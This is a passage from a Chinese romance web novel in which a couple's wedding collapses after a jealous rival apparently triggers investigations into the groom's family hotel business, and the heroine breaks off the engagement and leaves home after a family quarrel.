最终,那个会哭会闹的孩子,在母亲消极的偏袒下,抢到了唯一的玩具。 高兴得扬起笑脸。 江随垂在身侧的指节,僵硬滞顿地动了动,又紧紧攥牢。 淋漓殷红从指缝间艰难地泅出。 搅动血肉的痛感,总算层层袭来,似乎让这个秋夜,都逐渐变得真实清晰起来。 江随觉得自己,好像终于找到了更好的办法。 那他……就让她只属于自己好了。 那样,他就不用嫉妒、不用煎熬,不用困囿不前,委曲求全,也不用痛苦,不用难过了。 第46章 第 46 章 如果有人比我还要在乎你…… 婚期还剩半个月时, 顾淮在接林鸢下班的路上,接到顾玉鸣电话。 起初,他还以为是个同往常一样, 再普通不过的家常通话, 或是叫他这两天回家, 商量下婚礼细节和宾客名单。 直到顾玉鸣问他:“是去接鸢鸢下班了吗?” “是啊老顾, 怎么了?”林鸢在开车, 他下意识笑着看了她一眼, 问道。 顾玉鸣“嗯”了声,对他说:“那你送完了, 回家一趟。” 顾淮直觉般微顿, 听他继续道:“阿淮,你是个成年人了, 家里的事情, 你也应该知道。”- 林鸢是临睡前收到的顾淮消息, 问她休息没,她回了还没, 顾淮才即刻给她回拨了电话。 “怎么啦?”林鸢窝在被窝里,弯着唇角轻声问他,“想我啦?” 他在车上接完顾爸爸那通电话后, 神色有些不明。可林鸢又觉得, 自己大概是想多了,于是玩闹般说。 “对不起阿鸢。可能……”电话那端, 顾淮艰难开口, “可能我们的婚期,要往后延迟一点。” 这事难以启齿,可却拖不下去, 也不能拖。顾淮明白,他越早告诉林鸢,对他们两个来说,就越有商量和应对的余地。 所以顾淮才立刻就给她去了电话,将事情原原本本向她说明。 家里酒店,是在他还没出生前,他父母就一步步磊起基点,一点点拓张的事业。 也不是没有经历过起落沉浮,但都挺了过来。 只是十年前那场由M国骤然爆发,又迅速波及蔓延的金融危机,让这艘船经历了最大的风浪。 跨行投资失误、同行业竞争、资金链压力、市场从上至下收入与消费信心的下降,都让整个酒店濒临清盘的边缘。 于是他母亲铤而走险……踏错了一步。 他怨不得任何人,也没资格怨。 在家里为了公司搏得焦头烂 额时,他十四五岁的年纪,正无虑无思地,过着无所顾惮的好日子。 ………… “现在的情况是,补缴这些年的税款和滞纳金,还有相应的罚款,就不会有刑事方面的处罚。” 只是最早的、金额最大的那笔,少缴的税款,加上滞纳金和罚款,掏空公司的现金流,也不够补那个窟窿,还需要些时间筹款。 家里此刻的现状,他自然不能任性地要求继续婚宴。 “对不起阿鸢。”顾淮声音有些低微的哑,向她说,“我没想到,会发生这样的事。” 林鸢有片刻的怔愣。 这事情实在来得太过突然,让她一时不知该作何反应,只觉得有些不真实。 等她回神,赶紧说:“没事,你别着急,请帖还没发出去,亲戚朋友也还没开始正式通知,我明天和我妈妈说一下,让她晚点再说。你先处理家里的事情。” 顿了顿,又问,“有什么,我能帮上忙的地方吗?” “没事,”顾淮笑了声,温声安抚她,“我会和家里一块儿处理的。我也找朋友帮忙问下情况,你别担心。”- 林鸢那晚接完电话后,就一直心神不宁。 期间,顾淮和她的联系少了许多,连学校也请了长假。 但还是每天会和她通话,说下近况。 几天后,趁她周末,也和她见了一面,陪她一道吃了顿饭。 俩人临分开前,林鸢肃起一本正经的脸,开玩笑似的逗他,同时,也是在不明言地表明立场:“顾老师,以后可不能节假日也任性赶客了。适当的时候,我还得检查下你的工资卡。” 她看着他,微微停顿,弯起唇角,轻声道,“我还有些存款,我们以后,一起付首付,买个小房子,塞得进我们和顾小明它们就好。” 如果现下的境况,需要他们家抵押资产去清偿,那以后,他们就一起更努力些。普通人的日子,她过了这么多年,也没什么不好的。 顾淮眼眶蓦地一热,笑看着她,上前一步,低头,一把将她抱在怀里,紧紧拥住。 短短几天,突如其来的压力、碰壁、挫败,在这一刻,仿佛消融进她温柔而有力的支撑与安抚里。 “阿鸢,谢谢。”许久,顾淮微松开她,在她额头吻了下,扬笑,“别担心,还没到这么差的程度。” 但林鸢怎么可能不担心。 已经临近他们原定的婚期,事情似乎没有更好的进展,反而出了更麻烦的纰漏。 她偶然间刷到一条本地消息——有人在某连锁酒店,长期包了间套房,聚众涉。黄。涉。毒。 相关门店负责人,也因为监管问题,被带走配合调查。 林鸢心跳一滞,本能地,想到了许久未出现的江随。 不管是税务问题,还是酒店该有的监管没做到位,的确是一家企业本身的责任。 但事情这样集中地出现…… 考虑没片刻,她将电话打给了李想。 没有拐弯抹角,直说了来意。 李想其实也猜得到她想问什么。 “林鸢,”想了想,李想和她说,“我不是替他辩白,顾家税务的事,的确是江随的手笔。但说到底,也是顾家自己有问题。但后面的事……和他本人无关,他却也逃不开责任。” 毕竟,自有那些喜欢听风闻味的落井下石,或上赶着邀功。 “我看他已经走进死胡同了,我已经劝不住他。”李想有些无奈,重重出了口气,“你们从前关系那样好,有什么事,你劝劝他,他想明白了,总会听你的。”- 顾淮没料到半个月的时间,事情还能急转直下到更坏的地步。 因为一处酒店监管不力出事,起了链锁反应般,接连发生许多问题。 有消防方面的,有酒店安全方面的,还有涉及到偷。拍这种事的。 所有的一切,来得疾风骤雨。 本来就吃紧的现金流,更是应对为艰。如果这段时间一切顺利,或许他们还能侥幸渡过这次难关,可如今,却是狼狈万状。 顾玉鸣再一次把顾淮叫回家。 客厅里,沙发上只留父子二人。 “阿淮,爸爸从没要求过你什么,你喜欢什么,爱做什么,我和你妈妈,也从没反对过。” “但这个家,不是你妈妈一个人的责任。公司出了事,也不是她一个人的错。是我没有花更多的精力来帮她一起打理,是我,也没有将你培养成合格的继承人。” 顾玉鸣虽然对事业没什么野心,可好歹也在商场里沉浮了这些年。托两道关系,自然打听到了端倪。 生意场上要好的朋友,有意无意地暗示:你们是不是,得罪了什么人。 “你如果只是简单地,找个普通家庭的女孩子结婚,即便我们算不得多满意,也不会反对,也会支持。”顾玉鸣看着手侧沙发上,一言不发的儿子道,“但现在,不一样。这是爸爸妈妈一生的心血。” 顾淮沉默地往沙发里靠了靠,仰起头。 忍不住将胳膊抬起来,盖住眼睛。 生平头一次,他开始后悔。 后悔从前的人生,过得太舒服,太顺遂。 他不是没有想过办法,辗转托平时的朋友打听消息,帮忙。 让人评估他名下几套房产,急转,或抵押。 可短短的十几天,才叫他明白,他这二十多年活得有多天真。天真到近乎可笑。 那家消防出了问题的分店,甚至就是从前和他关系不错的一个“朋友”,带人去查的。 “阿淮,你是大人了。享受了家庭的付出和支持,就要承担你该负的责任和义务。”顾玉鸣见他不言,郑重开口道。 顾淮鼻腔一涩。 “爸,我知道了。你……”他下意识闭上眼,盖住眸底热意,压着喉间沙哑,低声道,“给我些时间,我再想想办法。” 后来的许多年,顾淮都会无数次不由地想, 或许在他犹豫选择的那一秒钟,权衡天平的一刹那开始,他就注定要错过她了- 林鸢是在和李想通完电话的当晚,找到江随的。 站在极乐游戏高耸的大厦楼下,林鸢看见身形颀长的男人,外套都未穿,行色匆匆地从大厅入口出来,脸上难掩着急与期待的模样。 冷空气灌进鼻腔,林鸢呼吸都滞了瞬。 终于走到她面前,江随反倒有些紧张起来,微平了下呼吸,他试探般,轻翘唇角,小声问:“阿鸢,你找我?” 问完,见她穿得不多,下意识伸了下手,又有些笨拙不安地缩回,指指大厅,“冷吗?要去我办公室说吗?” 林鸢无法避开面前的男人,自然看见他比先前更瘦削的轮廓。仿佛白衬衣下的肩骨都有些明显起来。 脸色有些病态的苍白。还有手心似乎至今未愈的伤口。 林鸢摒开此刻难以形容的感觉,努力扬起笑,向他说:“不用进去,江随,我是有事想麻烦你。” 她顿了顿,继续道,“我知道,顾爸爸顾妈妈是犯了错,但你能不能,高抬贵手,就事论事。麻烦你和你的朋友们,打声招呼……” 男人脸上上一秒还轻扬的笑意,一瞬间僵在唇角。 江随眼睛一下胀痛,眼睑浮起红痕,焦躁又茫然地打断她:“阿鸢,你为了他,来求我?” 林鸢一顿。 “你用对付别人的那一套,来对付我?”江随鼻腔都发酸,都不明白自己到底是怨愤,还是难受,死死看着她问,“到底是谁教你,这样低声下气,委曲求全的?” 林鸢紧紧抿着唇,片刻,讨好地弯起笑,低声道:“江随,对不起,先前,是我态度不好,是我说错了话。你别生气。你能不能……能不能告诉我,”她咽了口,提着心跳,小心地问,“怎么样,你才能放手?” 江随盯着她,濡湿灼烫在眸底一滚,额角连着太阳穴,疼得他每一瞬呼吸都仿佛擦在利刃上。 又是叫他放手,又要叫他放手。 为什么每个人,都要叫他放手。 此刻的他,就像只被人扔进迷宫的小兽,走错了方向,妄图用额角,直接撞开那堵成为死路的高墙。 可头破血流,依旧毫无出路。 但他如今,还能有什么更好的办法吗? 所以即便明知,或许撞开了也未必看得清方向,或许撞开了也依旧是下一条死路。 他也必须要试试。 胸腔克制着颤抖,深深 起伏,江随一眼不错,不敢眨眼,垂眸盯住她。 “那我告诉你,如果这世上,有人比我还要在乎你。如果这世上,有人和我一样,毫不犹豫的第一选择是你,无论如何,都不会放弃你……” 仿佛一个生了场大病,久而未愈,筋疲力竭的病人,微颤着淋漓虚汗后潮湿的睫尖,蓦地轻笑了声,抬手,仔细顺了下她落进颈窝的发梢,艰难无力道, “那我就放手。” 第47章 第 47 章 “她们为什么,都要恨我…… 林鸢是在找过江随的第二天, 约顾淮见的面。 有些事情,她不想草草地在电话里结束。 昨夜到今天,林鸢也事无巨细, 十分慎重地想过。 如果是顾淮的爸爸妈妈, 因为投资失误而破产, 甚至如果是, 顾淮或她任意一方病了, 他们之间任何一个人, 都不会在这样的时刻放弃对方。 因为她知道,顾淮从不是一个怨天尤人、不负责任的人, 他很好。 正因为他足够好, 她才明白如今的情况,他们要是还坚持在一起, 她如果不开口, 不提, 他会背负怎样的压力和负担。 他们一起,在一中附近一家常去的川菜馆, 吃了顿晚饭。 从餐馆里出来,俩人像无事发生一样,牵着手, 轻声聊天, 踱步往回走。 只是,从前顾淮口中那些, 惹是生非又青春张扬的学生的话题, 仿佛停留在了半个月前。 临近小区,林鸢看着那株明年春天还会开花的垂丝海棠,突然道:“顾淮, 要不我们,算了吧。” 顾淮眼睫蓦地颤了下,喉间一哽,张了张嘴,没能发出声。 林鸢仍牵着他手,却停下脚步,侧转身,抬头看着他。 “顾淮,不是你的原因。是我自己。”林鸢眼底胀热,忍下喉间哽意,笑着温声向他解释,“是我没有办法……再让我在乎的人爱的人,因为我的原因,受到伤害。因为这份责任,我再也承担不起了。” “阿鸢,我们……”顾淮努力笑了笑,低声道,“你让我再想想办法,一定有办法的。” “顾淮,”林鸢却打断他,这样问,“你还喜欢我吗?” 顾淮微愣了瞬,下意识道:“喜欢,我当然喜欢。” “嗯,我现在,”林鸢点头,着重道,“现在也很喜欢你。” 顾淮猛地一窒,脑袋有一刹那爆炸前消音般的嗡鸣。 很久之后,他有些无力地看着她。 他好像,明白林鸢的意思了。 原本一份纯粹的感情,掺杂进这些事情。 无论今后他们用什么样的方式,不管不顾走到一起,或许终将敌不过父母的压力、现实的困顿。等将这份热烈消耗殆尽,那些此刻深缠在心底的软刺,或许终将成为,互相怨怼的利器。 而在相互喜欢、理解、欣赏对方的时刻,停止这段感情,或许……对他们来说就是最好的结局- 林鸢回到这个家的时候,曾湛英在卧室休息,郑敏在厨房忙碌。 她进去,笑着喊了声“妈妈”,挽起袖子,给她帮忙。 只在洗碗时,没有任何铺垫地说:“妈妈,我打算搬出去了。” “我和顾淮,分手了。” 郑敏熟练捏着饺子的动作猛然一顿,有些没听清般问她:“鸢鸢,你说什么?” 林鸢知道她听清了,看着她笑了笑:“我不想结婚,也不想相亲,现在唯一给曾友安腾地方的办法,就是我搬出去,你让叔叔,就不要顾着他那点面子了,还是,我自己去和他说?” 郑敏迟钝地张了张嘴,有些没反应过来地看着她。 她知道,女儿如今有能力自己搬出去住,但还是愿意在结婚前一直陪着她,一方面,是因为曾经老林的嘱托,一方面,是因为林鸢在家,还能帮她分担些家务,和对曾湛英的照顾。 她知道林鸢是因为舍不得她辛苦,舍不得她难做,才留到了现在。 有时候,她都有些分不清,到底是林鸢需要她,还是她在女儿不知不觉的成长间,已经渐渐习惯了依赖她。 所以此刻,她有些无措。 可还没等郑敏想好如何回答,林鸢就听见,自己房里有铁皮盒子掉落的声音。 哐当一声,林鸢一顿。 她反应过来,擦了擦手,快速往房间去。 门口,看见正准备弯腰捡东西的曾友安。 “你怎么在我房间里?”林鸢皱眉。 还没问完,在看见掉落到地上,后盖都弹开的旧手机时,脑袋嗡地一声。 曾友安看见林鸢像头失了心智的小兽一般,拳头劈头罩脸朝他砸过来的时候,吓得愣了一瞬。 也就是这片刻犹豫,立刻叫他落了下风。 猛烈的疼痛在他面门上狂砸,曾友安终于想起反抗,与她扭打在一起。 “林鸢你他妈疯了?!” “靠!你给老子撒手!” “阿姨——郑阿姨——!郑敏!!你他妈来管管你女儿!” …… 林鸢是被郑敏和曾湛英合力拉开的,拉到了客厅里。 被郑敏抱在怀里时,还喘着粗气,狠狠盯着被曾湛英扶起来的曾友安。 曾湛英冷漠地朝她们扫了一眼。 郑敏一顿,问林鸢:“鸢鸢,你为什么打人啊?有什么事情,不能好好说?” 林鸢鼻尖一涩,看向她,嗓子发哑:“他把爸爸的手机摔了。” 郑敏心口一缩,看见小房间黑黢黢的地上,动了动嘴,没能出声。 “妈妈,”林鸢拍拍她手,“你松开我。” 郑敏知道她要去捡手机,放开手。 曾友安却不知道,所以像个虚胖的巨婴般,直往曾湛英身后躲,却伸出手指着她: “林鸢你傲什么?!你的北城户口和重点高中名额,当初可是你妈她卖了自己换来的!你到底有什么可清高的?!” 他不过是偶然间看见,林鸢很宝贝地将那只破铁皮盒子,藏在房顶坏了的灯带上,才想趁她不在家弄下来看看,里面有什么好东西。 谁想到她突然回来了!吓得他弄翻了盒子,他又不是故意的! 林鸢捡起手机,默不作声,小心翼翼地将后盖按回去,紧紧拿在手里,才抬头看他,漠然道:“还想挨揍?” 曾友安一噎,对曾湛英道:“爸您看看看!!我就说她不是个安分的!您从前还不信!” 又转而冲着郑敏,“阿姨!你让她给我道歉!必须道歉!今天她不道歉我就……” “我不会道歉的,”林鸢打断他的狠话,“也不用你道歉。你再犯贱,我就见你一次,打你一次。你看他们能不能时时刻刻护着你。” 曾友安瞪大眼睛,曾湛英被人挑战了权威般,蹙紧眉看着她。 郑敏看着曾湛英的眼神,慌乱开口:“鸢鸢……” “妈妈,我们没有什么对不起他们家的。就算有,您这么多年辛辛苦苦,也该还清了。”林鸢知道她要说什么,打断她,不知道为什么,今天就想任性一次,“而且我今天,就不想道歉。您就站在我这边,好不好?” 郑敏嚅了嚅唇,无奈道:“鸢鸢,做人,要讲良心的。是你曾叔叔,在我们母女两个最困难的时候,帮了我们。” 深深的失落,如鱼缸里上浮的水线。她重重吸了口气,又吐出来。 “妈妈,您还记得爸爸,为什么和您结婚吗?”林鸢盯着她,缓声道,“因为他说,他怕错过了你,您被别人欺负。” 郑敏猛地一震,滞顿了很久。 可最终也只是回避开她眼神,低低自喃般:“鸢鸢,人……总要向前看的。” 笑意蓦地从鼻 腔里溢出来。 “嗯。向前看。”林鸢口不择言地,说出了这么多年深埋在心底的那点怨怼,“所以您当年,就那样接受了那帮人的赔偿。就那样没过多久,接受了别人的介绍嫁给……” “啪”地一声,一个巴掌突然落到脸上。 “我有什么办法?”郑敏抖着手道,“鸢鸢,你告诉我,我那个时候,能有什么办法?我还不是为了……还不是为了你能过得好一点……我一个人没关系,可你还小,还要生活下去……” 她这样没用的人,又能有什么办法。阻止不了别人欺负林鸢,甚至给不了女儿有物质保障的普通生活。她这样一个,没有父母爱护,没有兄弟帮衬,又失去了唯一依靠的女人,到底,能有什么办法…… 郑敏没有用力。 其实很轻的一下,并没有多疼,甚至没什么感觉。 却让林鸢整个人,无力到近乎虚脱。 她微偏开脸,闭了闭眼睛。 这是林鸢第二次挨打。 又是因为曾友安。 她刚来北城那年,也是因为和曾友安争执打架,作为后妈,郑敏必须拿出态度。 在她死犟着拒不道歉的情况下,当着继父和继兄的面,扇了她一个耳光。 林鸢觉得委屈,却又死撑着没哭,也没解释,一个人回了房。 那天后来,郑敏又来同她道过歉。 她抱着她哭,向她说对不起。向她说:妈妈也是没有办法。 或许是,对十几岁的少女来说,母亲的怀抱,实在太过温暖。 或许是,这世上,她只有这唯一的亲人了。 或许是,她明白,母亲有能力的话,也是想好好爱她的。 就像从前,在老林的庇护下那样。 所以她说没关系,所以她说,妈妈别哭。 我们在一起,好好的。 而她没有告诉郑敏的是,那天的曾友安,也是用这样的话,来羞辱她的妈妈。 所以她才不管不顾地,冲上去同他打架。 但那天晚上,林鸢还是发誓,她如果真的爱一个人,再生气,都不会扇ta耳光的。 ………… 林鸢其实时常觉得,亲情是比爱情更叫人难以割舍的感情。 斩不断,放不下,牵骨连筋。爱意又时常搅在盘根错节的荆棘里。 一旦尝试抽离,必定血肉模糊。 只是今天,她实在疼得有些麻木了,不如就趁现在吧…… “好的。谢谢妈妈。”她看着郑敏,头一次,突然不想遵守和老林的约定了,笑着和她说,“那我们,就各自往前走吧。”- 林鸢拖着行李箱下楼时,看见江随又站在楼下。 天气已经很凉了,他却只在白衬衣外罩了件暗灰色的西装外套。 看见她下楼,有些小心地弯了个笑,问她:“这么晚了,去哪里?” 林鸢抬头,看着他眼里难言又克制的落寞、无措、祈盼和热切,竟然特别想笑。 江随眸底刺痛地眯了瞬眼睛。 他快要撑不下去了,到底从什么时候开始,她总是用这样一副,充满厌恶与嘲讽的目光看着他。 林鸢将行李箱的万向轮换了个合适的角度,看着他笑道:“恭喜你啊江随,你又做到了。” 江随心口猛然骤缩,想起他破坏她订婚的那天夜里。 她带着哭腔问他:江随,你就这么千方百计地,要证明我不值得被爱? “我没有,阿鸢,我没有……”他仿佛穷途末路的困兽,急于解释,却见她要走,只好先伸手,紧紧攥住她手腕,“你别走,我真的从来、从来没有这样想过。我只是……”想留住你。 “能麻烦您让让吗?”林鸢打断他,用力抽了下自己胳膊,“我对您的解释没有任何兴趣,也完完全全,不想再见到你。” 江随痛苦地阖了下长睫,努力让自己的气息不要发抖才开口。 “阿鸢,从认识你到现在,我答应你的事情,哪一次没有做到?”他嗓音滞涩地问她,“我说过,他如果选择你,我就放手,可他没有做到不是吗?” 林鸢抿紧唇,漠然地看着他。 “是他没有好好珍惜你,是他没有第一时刻选择你。是他说喜欢你,想娶你,却不愿意取舍来留住你。”江随疲惫地看着她,艰难道,“你不怪他,你怪我?” “对,”林鸢微翘着唇角点点头,“我不怪他。甚至感谢他的取舍,因为这样,才是我喜欢的顾淮。” “江随,你或许不知道,其实我不过就希望,有个人和我毫无目的地,纯粹地相爱一场,就算是短暂的也很好。顾淮让我得到了,我已经很满足,也很快乐。”林鸢笑了笑,笃定道,“我永远都不会忘记的。” 江随深深抠住掌心,麻木地看着最爱的人站在他眼前,诉说着对别人拳拳的爱意。 林鸢盯着他,仿佛在观察对照他和顾淮的不同,片刻才又道:“我不怪他,还因为他不像你。” 江随呼吸骤然一滞。 “他从小被父母深爱着,他得到了这世上最不求回报的感情,所以他有义务回馈家庭同等的爱意和责任不是吗?如果他全然不顾地选择我,那样才不是顾淮了。” 林鸢不知道江随和父母是怎样的关系,但总是不会好的。因为从认识到现在,她从没见过他父母现身,也从没在他口中,听他提及父母任何。 江随浑身僵硬,难以置信地看着她。仿佛亲眼看着她掀开自己的铠甲,挥着利刃,攻击他浑身上下最不堪一击的伤口,却动弹不得。 又在他毫无还手之力时再次挥剑。 “我也不怪你。”林鸢望着他惨白的脸,突地笑了笑,轻描淡写道,“我恨你。” 江随窒在原地,眼里满是困顿的绝望,死死盯住她。 腿骨和额角的隐痛,漫天盖地地将他淹没,疼得他快站不住,却只能听着她继续说: “江随,真好。你终于成了,我最讨厌的那种人。”- 江随一个人被留在原地,像株枯树般呆站了许久,直到陆靖打来电话。 一接通,未等江随开口,便劈头盖脸地骂道:“阿随,你他妈在搞什么东西?” 电话那头,没有一惯玩世不恭的敷衍,却有真空般的片刻安静。 直到陆靖听到那把熟悉的嗓子,极力克制着陌生的哭腔,缓声向他说:“哥,她恨我。” 陆靖猛地一顿,不知道他是在笑,还是在喘息。 江随低下头,抬手盖住眼,每个字节都带着窒闷的颤抖,脱力般艰声道:“她说她恨我。” 又惶然无措地,像头失了家的小兽,发出再也抑制不住的哽咽,颤声问陆靖:“她们为什么,都要恨我……” 第48章 第 48 章 “阿鸢,那……我走了。…… 陆靖听着电话那头的哭声, 有片刻怔忡。 他从来没有,听江随这样哭过。 或是说,从没见他哭过。 有那么一刹那, 他眼前浮现起江随七八岁时, 又被江家送回来的场景。 那是爷爷临终前的当口, 江家似乎终于有了个合适的借口, 名正言顺地将人带来。 又拿出了那样的证据, 证明当年所谓的丑闻, 只是他们母亲的……匪夷所思的恶作剧。 但不知道,是不相信江家的说辞, 还是因为当年轻信了他们母亲的话, 导致江随那样随意地被送走,奶奶这次, 却是严谨了起来。 她先叫人将江随安置在外, 又通过信得过的途径, 再次验证。 而最后,终于“验明正身”的江随, 在被带到爷爷的面前时,见到的,只是一具失了温的遗体。 病房里, 呜咽与哭泣低低蔓延。 而陆靖却看见他走过来, 牵过病床上爷爷的手,握住他冰凉而粗糙的手指。 陆靖本以为, 是江随总还记得幼时那两三年, 虽然父母缺位,他也被爷爷奶奶短暂地,真心喜爱过。 却见他偏过脸, 白皙细腻的额角,不知何时添了截狰狞的疤,平静地问他:“我需要哭吗?” 陆靖一滞。 漂亮的,熟悉又陌生的 小男孩儿,冲他笑了笑,没有惧意,没有悲伤,用极其标准的普通话,漠然地对他说:“我和你们都不熟。我哭不出来。” ………… 那个时候,江随7岁,他17。 一晃眼,近20年,那个冷静地告诉他,自己哭不出来的小男孩儿,却在他面前,哭得狼狈又痛苦。 陆靖顿了片刻,向他说:“你先回来。” 不知何时停歇的哭声。 江随沉默。 “你先回来。”陆靖重复,妥协道,“我不告诉奶奶。”- 偌大的庭院,除夕夜一同叙话的两个人,此刻站在铺了一地白蜡树金黄的青砖上,沉默地如同陌生人。 “阿随,你这回,过了。”还是陆靖先开了口。 “怎么了?我犯法了吗?”似乎已经平静下来的江随,微歪头看着他,蓦地笑了声,慢腾腾地问他,“顾家自己经不起查,是我的错吗?” “你一定要这样说话吗?”陆靖盯着他,“你和林鸢,也是这样说话的吗?” 鸦雀似的长睫,蓦地轻颤,江随一下垂开眼,喉间滞涩地滚了口。 陆靖压着呼吸,吁了口,耐下性子:“你作为陆家人,就该知道你的一言一行,不单是说出来的一句话,无意做过的一件事那样简单。你不是从来都明白吗?” 江随抬眼,平静道:“需要我谨言慎行,需要我别给你们添麻烦的时候,我就是陆家人了吗?” 陆靖滞了瞬,咬牙。 他眼睑还带着哭过后,夜色都掩不住的红痕,问出这话时,却又是散漫无腔的调子。 陆靖都不知道是该心疼他,还是该揍醒他。 江随自然明白他在想什么,轻哂反问:“我可以做到,为什么他们不能?” “你别无理取闹。”陆靖只觉得他说不通,有些烦躁起来。 江随看着他,轻轻眨了下眼,不回应他,继续问:“哥,那你知道我为什么,能做到吗?” 陆靖微顿。 “在遇上阿鸢之后,是因为她不喜欢。”江随微垂睫,下意识地弯了下唇,“因为我明白,林叔叔虽然从没想将阿鸢养成乖顺听话的性子,但他不会允许别人,犯触及律法底线的,原则性的错误。” “但在那之前,”笑意一淡,江随抬眼,“是因为我知道,我一旦踏错了,没有任何人会为我兜底。” “所以,麻烦你们和从前一样,别管我。” 陆靖呼吸一滞,捏了捏拳。 他不知道,江随平时在生意场上谈判时,是否也是这样一副,游刃有余又成竹在胸的模样。 他只是仿佛忽然意识到,那个记忆里小小的男孩子,其实早就长大了。 “顾家原本该缴的罚款,”江随像罗列条款一般,向他陈述,“那是他们本该承担的后果。至于因为其它原因导致的经济损失,我会一应承担,不会让顾家过不了这一关,也不会让你和郑老师难做。” 陆靖突然有些难受,盯着他问:“你这是何必呢?” 看这一早就准备善后的样子,陆靖都不知道,他折腾这一通,天怒人怨也落不到好的,到底是为了什么。 江随顿了瞬:“我愿意。” 陆靖有些无奈地笑了声,问他:“江随,你怎么就,这么能藏得住事儿呢?做了为人家好的事儿,你不说。做了人家不喜欢的事儿,你也不解释。你到底什么时候,能改改你这毛病?” 江随一滞,突然有些茫然,动了动唇,眼神有些虚焦,无意识地低声道:“我就想她过得好,我就想,她开心,我没想过……要证明什么,或者,得到什么。” 陆靖是真有些不知道拿他怎么办了,只好问:“那你现在,到底要做什么。” 江随喉间一哽,滞涩地,执拗道:“我什么都不要,我只要,和她在一起。” 陆靖眯了瞬眼,不知道为什么,突然就有些来火,语气有些重地说:“那你从前不好好珍惜!” 江随眼眶一下就红了,像头被人在伤口捏了把盐的猛兽。 “你们都能犯错,轮到我,就成了十恶不赦,是吧?”那蘸了盐粒子的惨痛滞后地传来,激得他吼道,“那陆靖我告诉你,我后悔了!我后悔了行吗?!” 又像被困在迷雾里,执着地找不到出路,只好低下头来,盲目地嗅闻伤口落在荆棘灌木上的血腥气,以为那就是自己来时的退路,沙哑无力道:“我难道,不想像顾淮一样吗?可是你们哪个,给我那样的机会了?我也知道错了,我会学,我会改的。我就想……就想为自己争取一个机会,这都不可以吗?” 他知道,曾经保护他,跟着他一道长大的那层壳,已经会伤人。 所以他会把那层带刺的壳敲碎,剥离。他只想要阿鸢……等等他,别放弃他。 陆靖一下失语,瞥了眼他额发间,蜿蜒而出的残疤,咬了咬牙,终于道:“我不插手,但也不会帮你。” 又道,“别失了分寸。” 良久。 “哥。”江随肩线一泻,仿佛被铺天盖地的疲惫淹没,轻声对他说,“谢谢。” 江随离开后,陆靖仍站在院子里,沉默地摆弄了会儿打火机,还是给自己点了根烟。 其实他也不明白,为什么……江咏麒那么怨恨江随。 明明他的童年记忆里,虽然父母聚少离多,偶有争吵,总还算是有温馨和相爱的时刻。对他,也向来不错。 他不明白,真的是再次怀江随时,母亲生了病,所以控制不住地,怨恨起她认为让她痛苦的人吗? 还是因为后来,她将对父亲的不满与怨怼,转嫁到了没办法逃避,没余力还手的江随身上。 他只记得那一年冬天,三四岁的江随在离开时,无哀无喜地问他:“哥哥,你会接我回来吗?” 13岁的陆靖,压下心里的酸涩与不舍,骗他说……会的。 江随被送去江家的第二年,其实……给他打过一次电话。 他听见电话那头,稚嫩而熟悉的声音,再次同离开时那样问他:“哥哥,你会接我回去吗?” “会的。你……再等等我。”陆靖这样对他说。 电话那头,安静了许久。 直到浮起一声很轻的笑,低低向他说:“好。” 那时候的江随,不知道他在骗他吗? 他什么都知道。 那是他看着长大的小孩儿。 因为母亲生下他后,抑郁痛苦的症状似乎已经严重到了,看见江随就要失控的地步,所以还没满月,他就被送回了北城。 爷爷奶奶虽然也很喜欢他,但照顾他的,毕竟是保姆。和江随在一起时间最久的,还是那时仍在上学的他。 他看着那么小一团漂亮的人儿,长到能抱着他的腿,仰着脑袋叫哥哥。跟个小姑娘似的好看。 他又怎么会不知道,那样早慧的小孩子,其实什么都明白。 但他依旧期待着,期待着他的哥哥有能力、能做主的一天,会去接他回家。 直到那点希望,在漫长的等待里,一点一点消弭。 又融进更深的失望里。 陆靖明白,江随对亲情、爱情,誓言、承诺,从期冀,到失望,从渴望,到回避,再到抗拒。最后用一层无所谓的外衣包裹,贴着皮肉,跟着年岁,生长成坚硬的、带刺的壳。 所以当他此刻,想学着回抱他人时,才突然发现,那层护着他的硬壳,竟如此伤人。 他不想那样,所以他只能尝试着一点一点,将它从皮肉剥离。 缭绕青烟,呛得人眼睛发酸,陆靖微眯了下眼。 他不知道为什么,这么多年,每每想起江随,说那句“我哭不出来”的样子时,总不由自主地,从心底溢出苦涩和酸楚。 13岁的陆靖,身不由己,什么也做不了。 所以他放弃了江随。 用最拙劣的谎言,敷衍他、拖延他、回避他、欺骗他。 而如今,他能做的,或许也就剩下了,什么都不做- 林鸢在顾淮和她说,婚期要延后时,就向宋朝欢说了会晚些去取旗袍。 于是在原定婚期的前一晚,她给顾淮打了电话。 问他:“再见一面,好吗?” “好。”电话里,顾淮这样向她说。 谁都明白,这是好好告别的,最后一面了。 那回订完旗袍,宋朝欢就和她说过,哪天有空,过去一趟,她帮她画个适合那条旗袍的妆,再挽个头发,她要是满意,帮她拍好照片与视频,让婚礼当天跟妆的妆娘参考,弄成一样的。 她很欢喜地道了谢,只是后来,一直没有去。 所以此刻,胡桃木镜里柳眉杏腮的自己,她也是头一回见。 “真好看。”林鸢扬起笑,冲镜子里一袭旗袍,站在她身后的宋朝欢说,“谢谢你啊朝朝,但是头发,就不用挽了。” 杨梅胡同入口,浓稠的夕阳里,瘦削颀长的男人,眉目张扬,冲她弯起笑。 林鸢从没见过他穿得如此正式的模样,白衬衣,黑西装。 正式到有点局促的紧张,连笑都掩盖不了。 林鸢好笑扬唇,拢了下身上柔软的针织外套,又微张开双臂,显摆似的问他:“好看吗?” 顾淮抿着唇角,重重点了下头。 葵扇黄的软绸,在秋末的余晖里闪闪发光,衣襟和下摆上,浮绣的两枝金木犀,摇曳动人。 她是那样好看。 好看得……叫他心脏发疼。 “好看就好,”林鸢放下手,同他说,“我就想……穿给你看一下。” 眸底一烫,喉间轻滚,顾淮低声笑问她:“不冷啊?” “还好。”林鸢笑着说,隔着外套搓了下胳膊。 突然有些无言,却又放心不下,“顾淮,黄条子它……” “能留给我吗?”顾淮打断她,滞涩道,“我不会离开北城的。它们……也不用搬家。” 咽了一口,林鸢看着他,笑着点点头:“好。” 她暂时……是不会有家了,黄条子跟着她,也只是居无定所。而小猫这样的动物,就算胆子再大,常换环境,也会敏感,会害怕。会不再信任人。 于是她说:“谢谢。” “跟我还说什么谢谢?”顾淮低低回她,始终漾着笑意,抬手,想揉揉她脑袋。又滞在半空,落不下手。 这样亲密的动作,好像……不合时宜了。 可下一瞬,林鸢却上前一步,微垫脚,将自己发顶放进他掌心。 顾淮鼻腔一下就酸了,眼底滚烫。 翘着唇角,用力地,往下压,揉了揉她脑袋。 终究是要收回手的。 